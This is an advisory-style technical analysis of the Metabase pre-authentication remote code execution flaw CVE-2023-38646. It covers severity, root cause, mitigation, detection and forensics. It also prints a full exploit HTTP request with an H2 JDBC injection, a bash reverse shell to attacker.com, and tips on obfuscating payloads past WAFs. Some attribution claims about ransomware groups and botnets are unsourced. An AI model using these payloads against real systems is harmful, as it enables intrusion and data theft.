CVE-2023-38646
CVE-2023-38646
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.
Comprehensive Technical Analysis of CVE-2023-38646 (Metabase Pre-Authentication RCE Vulnerability)
1. Vulnerability Assessment & Severity Evaluation
CVE ID: CVE-2023-38646 CVSS Score: 9.8 (Critical) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vulnerability Type: Unauthenticated Remote Code Execution (RCE) Exploitation Complexity: Low (No authentication required, trivial to exploit) Impact: High (Full system compromise at the server’s privilege level)
Severity Justification
- Attack Vector (AV:N): Exploitable remotely over the network without physical access.
- Attack Complexity (AC:L): No special conditions required; exploitation is straightforward.
- Privileges Required (PR:N): No authentication or prior access needed.
- User Interaction (UI:N): No user interaction is required.
- Scope (S:U): Impact is confined to the vulnerable system (no lateral movement implied by default).
- Confidentiality (C:H), Integrity (I:H), Availability (A:H): Full compromise of all security objectives.
This vulnerability is critical due to its pre-authentication RCE nature, making it a prime target for mass exploitation by threat actors, including ransomware groups, APTs, and botnets.
2. Potential Attack Vectors & Exploitation Methods
Root Cause Analysis
The vulnerability stems from improper input validation in Metabase’s setup token handling mechanism. Specifically:
- Metabase generates a temporary setup token during initial installation, which is stored in the application database (
metabase.db). - This token is exposed via an unauthenticated API endpoint (
/api/session/properties). - An attacker can retrieve the setup token and then craft a malicious request to the
/api/setup/validateendpoint, injecting arbitrary commands via JDBC connection parameters (e.g.,dbconfiguration).
Exploitation Steps
-
Reconnaissance:
- Identify a vulnerable Metabase instance (e.g., via Shodan, Censys, or manual discovery).
- Query
/api/session/propertiesto retrieve the setup token (no authentication required).
-
Exploitation:
- Send a POST request to
/api/setup/validatewith:- A malicious JDBC URL (e.g.,
jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attacker.com/exploit.sql'). - The stolen setup token in the
Authorizationheader.
- A malicious JDBC URL (e.g.,
- The H2 database engine (used by Metabase) executes the injected SQL script, leading to arbitrary command execution.
- Send a POST request to
-
Post-Exploitation:
- Reverse shell establishment (e.g., via
bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'). - Data exfiltration (database contents, credentials, environment variables).
- Lateral movement (if Metabase has access to internal networks).
- Persistence mechanisms (cron jobs, web shells, backdoors).
- Reverse shell establishment (e.g., via
Proof-of-Concept (PoC) Exploit
A publicly available PoC exists (e.g., Packet Storm), demonstrating:
- Automated setup token extraction.
- Command injection via JDBC parameters.
- Reverse shell payload delivery.
Example Exploit Request:
POST /api/setup/validate HTTP/1.1
Host: vulnerable-metabase-instance.com
Authorization: Bearer <STOLEN_SETUP_TOKEN>
Content-Type: application/json
{
"token": "<STOLEN_SETUP_TOKEN>",
"details": {
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules": {},
"details": {
"db": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attacker.com/exploit.sql'",
"advanced-options": false,
"ssl": true,
"init": "CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return \"1\";}';CALL EXEC('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')"
},
"name": "test",
"engine": "h2"
}
}
3. Affected Systems & Software Versions
Vulnerable Versions
| Edition | Vulnerable Versions | Fixed Versions |
|---|---|---|
| Open Source | < 0.46.6.1, < 0.45.4.1, < 0.44.7.1, < 0.43.7.2 | 0.46.6.1, 0.45.4.1, 0.44.7.1, 0.43.7.2 |
| Enterprise | < 1.46.6.1, < 1.45.4.1, < 1.44.7.1, < 1.43.7.2 | 1.46.6.1, 1.45.4.1, 1.44.7.1, 1.43.7.2 |
Deployment Scenarios at Risk
- Self-hosted Metabase instances (Docker, bare-metal, cloud VMs).
- Metabase deployed in internal networks (exposing it to insider threats).
- Metabase integrated with sensitive data sources (e.g., databases containing PII, financial records).
- Metabase instances with elevated OS privileges (e.g., running as
rootorAdministrator).
4. Recommended Mitigation Strategies
Immediate Actions (Critical Priority)
-
Upgrade to the Latest Version:
- Open Source: Upgrade to 0.46.6.1 (or later).
- Enterprise: Upgrade to 1.46.6.1 (or later).
- Legacy Versions: Apply the respective patches (0.45.4.1, 0.44.7.1, 0.43.7.2).
-
Temporary Workarounds (If Patching is Delayed):
- Network-Level Protections:
- Restrict access to Metabase via firewall rules (allow only trusted IPs).
- Disable public internet access to Metabase instances.
- Application-Level Protections:
- Rotate the setup token (if possible) and restrict
/api/session/propertiesvia reverse proxy rules. - Monitor and block suspicious
/api/setup/validaterequests.
- Rotate the setup token (if possible) and restrict
- Runtime Protections:
- Deploy a Web Application Firewall (WAF) (e.g., ModSecurity with OWASP CRS) to detect and block exploitation attempts.
- Enable Metabase’s built-in audit logging and monitor for unusual activity.
- Network-Level Protections:
-
Incident Response Preparedness:
- Assume compromise if the system was exposed before patching.
- Isolate affected systems and perform forensic analysis (check for reverse shells, unauthorized database access).
- Rotate all credentials (database, API keys, service accounts) that Metabase had access to.
Long-Term Hardening
- Least Privilege Principle:
- Run Metabase as a non-root user with minimal OS permissions.
- Restrict database user permissions (avoid
SAorDBAroles).
- Network Segmentation:
- Place Metabase in a DMZ or isolated VLAN with strict access controls.
- Regular Vulnerability Scanning:
- Use tools like Nessus, OpenVAS, or Nuclei to detect vulnerable instances.
- Automated Patch Management:
- Implement automated patching for Metabase and its dependencies.
5. Impact on the Cybersecurity Landscape
Exploitation Trends
- Mass Scanning & Exploitation:
- Threat actors (e.g., ransomware groups, cryptominers, APTs) are actively scanning for vulnerable Metabase instances.
- Botnets (e.g., Mirai, Kinsing) are incorporating this exploit into their toolkits.
- Supply Chain Risks:
- Metabase is often embedded in third-party applications, increasing the attack surface.
- Data Breach Potential:
- Since Metabase connects to databases (PostgreSQL, MySQL, BigQuery, etc.), exploitation can lead to large-scale data exfiltration.
Real-World Incidents
- July 2023: Reports of active exploitation in the wild, with attackers deploying cryptominers and Cobalt Strike beacons.
- August 2023: Ransomware groups (e.g., LockBit, BlackCat) were observed leveraging this vulnerability for initial access.
Broader Implications
- Increased Focus on Business Intelligence (BI) Tools:
- Similar vulnerabilities may exist in other BI platforms (e.g., Tableau, Power BI, Looker).
- Shift in Attacker Tactics:
- Pre-authentication RCEs are becoming more common in enterprise software, requiring proactive defense-in-depth strategies.
6. Technical Details for Security Professionals
Vulnerability Mechanics
- Setup Token Exposure:
- The
/api/session/propertiesendpoint returns thesetup-tokenin plaintext, which is not rate-limited or protected. - Example response:
{ "setup-token": "123e4567-e89b-12d3-a456-426614174000", ... }
- The
- Command Injection via JDBC:
- Metabase uses H2 Database Engine for its internal database.
- The JDBC connection string is not properly sanitized, allowing arbitrary SQL execution.
- Example malicious payload:
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "1";}'; CALL EXEC('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"')
Detection & Hunting
- Network-Based Detection:
- WAF Rules: Block requests to
/api/setup/validatewith suspicious JDBC parameters. - IDS/IPS Signatures: Look for
INIT=RUNSCRIPTorCREATE ALIAS EXECin HTTP traffic.
- WAF Rules: Block requests to
- Host-Based Detection:
- File Integrity Monitoring (FIM): Detect unauthorized changes to
metabase.db. - Process Monitoring: Look for unexpected child processes (e.g.,
bash,nc,python). - Log Analysis: Check Metabase logs for unusual
/api/setup/validaterequests.
- File Integrity Monitoring (FIM): Detect unauthorized changes to
Forensic Artifacts
- Metabase Logs (
logs/metabase.log):- Look for unusual API calls to
/api/setup/validate.
- Look for unusual API calls to
- Database Artifacts (
metabase.db):- Check for unexpected SQL scripts in the H2 database.
- Network Traffic:
- Outbound connections to attacker-controlled servers (e.g., reverse shell callbacks).
Exploit Development Considerations
- Bypassing WAFs:
- Obfuscate JDBC payloads (e.g., URL encoding, comment injection).
- Use alternative command execution methods (e.g.,
ProcessBuilder, Java reflection).
- Post-Exploitation:
- Privilege Escalation: If Metabase runs as
root, attackers can gain full system control. - Persistence: Modify Metabase’s startup scripts or cron jobs.
- Privilege Escalation: If Metabase runs as
Conclusion & Recommendations
CVE-2023-38646 is a critical pre-authentication RCE vulnerability in Metabase with widespread exploitation potential. Organizations must:
- Patch immediately (highest priority).
- Assume breach if exposed before patching and conduct forensic analysis.
- Implement compensating controls (WAF, network segmentation, least privilege).
- Monitor for exploitation attempts and hunt for post-compromise activity.
Given the active exploitation in the wild, this vulnerability poses a significant risk to enterprises using Metabase, particularly those with sensitive data integrations. Proactive defense and rapid response are essential to mitigate impact.
References: